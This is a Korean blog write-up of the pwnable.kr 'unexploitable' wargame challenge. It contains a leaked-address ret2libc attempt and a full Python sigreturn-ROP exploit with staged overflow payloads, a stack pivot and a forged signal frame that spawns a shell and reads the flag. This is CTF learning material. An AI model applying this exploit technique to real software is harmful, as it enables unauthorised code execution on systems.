본문 바로가기
Wargame/pwnable.kr

[Hacker's Secret] unexploitable

by bbolmin 2014. 7. 27.



공유라이브러리의 ASLR을 해제하기 위해서 setarch `uname -m` -R $SHELL 명령어 실행 후 ldd를 확인보면 아래와 같이 고정되어있다.

그런데 실제로 실행해보면 ASLR이 계속 적용되어있음 ...



공격 방법


1. puts로 실제 함수 주소를 얻어온다. (stage1)

2. 다시 main으로 돌아가서 read 함수를 다시 이용한다. (stage2)

3. '1'에서 얻어온 주소로 offset을 계산해서 execl을 호출시킨다.



* x64에서 edi가 첫 번째 인자이므로 아래 가젯을 사용해서 puts의 인자를 조작한다.


- 0x400610L: mov edi [esp+0x30] ; dec eax ; add esp 0x38 ;;


- 0x601000 : puts@got

- 0x400430 : puts@plt


(perl -e 'print "a"x24, "\x10\x06@\x00\x00\x00\x00\x00", "a"x48, "\x00\x10`\x00\x00\x00\x00\x00", "0\x04@\x00\x00\x00\x00\x00", "D\x05@\x00\x00\x00\x00\x00", "\n"';cat)|strace -i ./unexploitable



[ libc offset ] 


puts : 0x70ce0

execl : 0xc0730

"/bin/sh" : 0x17a111


-> 얻어온 주소에 오프셋을 계산해서 execl과 "/bin/sh" 주소 활용

puts + 0x4fa50 => execl

puts + 0x109431 => "/bin/sh"



----------- popen해서 read, write가 잘 안됀다 ㅡㅡㅡ;;;;;

code






위의 방법은 접어두고 ... execl의 호출을 syscall을 이용해서 exploit을 시도


아래는 ROPgadget으로 뽑은 가젯들 




http://inaz2.hatenablog.com/entry/2014/07/30/021123


위의 블로그에서 x64bit 환경에서 sigreturn ROP를 잘 설명해준다.


sigreturn으로 execve의 인자 구성 후 다시 syscall로 호출한다.


sys_execve


rax : 59

rdi : const char *filename

rsi : const char *const argv[]

rdx : const char *const envp[]


.text:0000000000400544 buf             = byte ptr -10h


.text:000000000040056A                 lea     rax, [rbp+buf]

.text:000000000040056E                 mov     edx, 50Fh       ; nbytes

.text:0000000000400573                 mov     rsi, rax        ; buf

.text:0000000000400576                 mov     edi, 0          ; fd

.text:000000000040057B                 mov     eax, 0

.text:0000000000400580                 call    _read

.text:0000000000400585                 leave

.text:0000000000400586                 retn



(gdb) !cat /proc/`pidof unexploitable`/maps

00400000-00401000 r-xp 00000000 08:01 2359337                            /home/unexploitable/unexploitable

00600000-00601000 r--p 00000000 08:01 2359337                            /home/unexploitable/unexploitable

00601000-00602000 rw-p 00001000 08:01 2359337                            /home/unexploitable/unexploitable

7fa2591ac000-7fa259361000 r-xp 00000000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259361000-7fa259561000 ---p 001b5000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259561000-7fa259565000 r--p 001b5000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259565000-7fa259567000 rw-p 001b9000 08:01 1835025                    /lib/x86_64-linux-gnu/libc-2.15.so

7fa259567000-7fa25956c000 rw-p 00000000 00:00 0 

7fa25956c000-7fa25958e000 r-xp 00000000 08:01 1835041                    /lib/x86_64-linux-gnu/ld-2.15.so

7fa259780000-7fa259783000 rw-p 00000000 00:00 0 

7fa25978c000-7fa25978e000 rw-p 00000000 00:00 0 

7fa25978e000-7fa25978f000 r--p 00022000 08:01 1835041                    /lib/x86_64-linux-gnu/ld-2.15.so

7fa25978f000-7fa259791000 rw-p 00023000 08:01 1835041                    /lib/x86_64-linux-gnu/ld-2.15.so

7fff22817000-7fff22838000 rw-p 00000000 00:00 0                          [stack]

7fff229a8000-7fff229aa000 r-xp 00000000 00:00 0                          [vdso]

ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]




0x00601000 - 0x00602000의 영역을 custom stack으로 사용할 것이다.




[ exploit code ]


import struct, time

from subprocess import Popen, PIPE


p = lambda x: struct.pack('<Q', x)



#00601000-00602000 rw-p 00001000 08:01 2359337  /home/unexploitable/unexploitable

custom_stack1 = 0x00601100

custom_stack2 = 0x00601400


addr_read = 0x40056A                            #call read (1295byte, [rbp-0x10])

addr_syscall = 0x40056f#0xffffffffff600007               #syscall  ; ret  ;


#original stack

payload1 = 'A'*16

payload1 += p(custom_stack1 + 0x10)   #sfp(rbp)

payload1 += p(addr_read)            #ret - call read


#saved at custom_stack1 (0x00601000)

paddr_sh = custom_stack1 + 16 + 8 + 8

addr_null = paddr_sh + 8

addr_sh = addr_null + 8


payload2 = 'B'*16

payload2 += p(custom_stack2 + 0x10)   #sfp(rbp)

payload2 += p(addr_read)            #ret (call read)

payload2 += p(addr_sh)              #ptr -> "/bin/sh"

payload2 += p(0x0)    #NULL

payload2 += "/bin/sh\x00"           #"/bin/sh"



payload2 += 'X'*16

payload2 += 'X'*8                   #sfp(rbp)

payload2 += p(addr_syscall)         #ret (syscall)


payload2 += 'AAAAAAAA' * 5

payload2 += struct.pack('<Q', 0) * 8            # r8-r15

payload2 += struct.pack('<Q', addr_sh)          # rdi       <- const char *filename

payload2 += struct.pack('<Q', paddr_sh)         # rsi       <- const char *const argv[]

payload2 += struct.pack('<Q', custom_stack1)    # rbp

payload2 += struct.pack('<Q', 0)                # rbx

payload2 += struct.pack('<Q', addr_null)        # rdx       <- const char *const envp[]

payload2 += struct.pack('<Q', 59)               # rax       <- execve systemcall

payload2 += struct.pack('<Q', 0)                # rcx

payload2 += struct.pack('<Q', custom_stack1)    # rsp

payload2 += struct.pack('<Q', addr_syscall)     # rip

payload2 += struct.pack('<Q', 0)                # eflags

payload2 += struct.pack('<Q', 0x33)             # csgsfs

payload2 += 'AAAAAAAA' * 4

payload2 += struct.pack('<Q', 0)                  # &fpstate


#saved at custom_stack2 (0x00601200)

payload3 = 'C'*16

payload3 += p(custom_stack1 + 0x10 + 56)   #sfp(rbp)

payload3 += p(addr_read)            #ret


#saved at custom_stack1 + 56 (0x00601000 + 0x38)

payload4 = '\x00'*15


###############################################################


p = Popen(['/home/unexploitable/unexploitable'], stdin=PIPE)


print '[+] send payload1 ...'

p.stdin.write(payload1)

time.sleep(0.5)


print '[+] send payload2 ...'

p.stdin.write(payload2)

time.sleep(0.5)


print '[+] send payload3 ...'

p.stdin.write(payload3)

time.sleep(0.5)


print '[+] send payload4 ...'

p.stdin.write(payload4)

time.sleep(1)

print '[*] got shell !!!'


p.stdin.write('cat /home/unexploitable/flag\n');





'Wargame > pwnable.kr' 카테고리의 다른 글

[Grotesque] wtf  (0) 2015.02.25
[Rookiss] tiny_easy  (0) 2014.07.28
[Rookiss] simple login  (0) 2014.07.27
[Rookiss] brain fuck  (0) 2014.07.26
[Rookiss] ascii_easy  (0) 2014.07.21